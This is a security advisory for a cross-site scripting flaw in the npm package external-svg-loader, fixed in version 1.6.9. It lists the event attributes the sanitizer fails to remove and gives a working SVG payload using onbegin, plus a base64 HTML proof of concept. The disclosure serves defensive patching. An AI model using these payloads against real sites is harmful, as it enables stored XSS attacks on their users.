Critical

external-svg-loader Cross-site Scripting vulnerability

Disclosed: 14.08.2023
Updated: 11.10.2026 10:22

Summary

According to the docs, svg-loader will strip all JS code before injecting the SVG file for security reasons but the input sanitization logic is not sufficient and can be trivially bypassed. This allows an attacker to craft a malicious SVG which can result in XSS.

Details

When trying to sanitize the svg the lib removes event attributes such as onmouseover, onclick but the list of events is not exhaustive. Here's a list of events not removed by svg-loader. onafterscriptexecute, onbeforecopy, onbeforecut, onbeforescriptexecute, onbeforetoggle, onbegin, onbounce, onend, onfinish, onfocusin, onfocusout, onmousewheel, onpointerrawupdate, onrepeat, onsearch, onshow, onstart, ontoggle(popover), ontouchend, ontouchmove, ontouchstart As you can see in the POC we can use onbegin in animate tag to execute JS code without needing to add data-js="enabled".

PoC

html

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <animate onbegin=alert(1) attributeName=x dur=1s>
</svg>

html

<html>
    <head>
        <script src="./dist/svg-loader.js" type="text/javascript"></script>
    </head>
    <body>
        <svg data-src="data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIGJhc2VQcm9maWxlPSJmdWxsIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogIDxwb2x5Z29uIGlkPSJ0cmlhbmdsZSIgcG9pbnRzPSIwLDAgMCw1MCA1MCwwIiBmaWxsPSIjMDA5OTAwIiBzdHJva2U9IiMwMDQ0MDAiLz4KICA8YW5pbWF0ZSBvbmJlZ2luPWFsZXJ0KDEpIGF0dHJpYnV0ZU5hbWU9eCBkdXI9MXM+Cjwvc3ZnPgo="></svg>
    </body>
</html>

Impact

Any website which uses external-svg-loader and allows its users to provide svg src, upload svg files would be susceptible to stored XSS attack.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	external-svg-loader	< 1.6.9	1.6.9

References

CVSS score 9.8/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE): CWE-79
Platform: npm
Package: external-svg-loader
Disclosed: 14.08.2023
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-xc2r-jf2x-gjr8 - CC BY 4.0

Vulnerability history: external-svg-loader

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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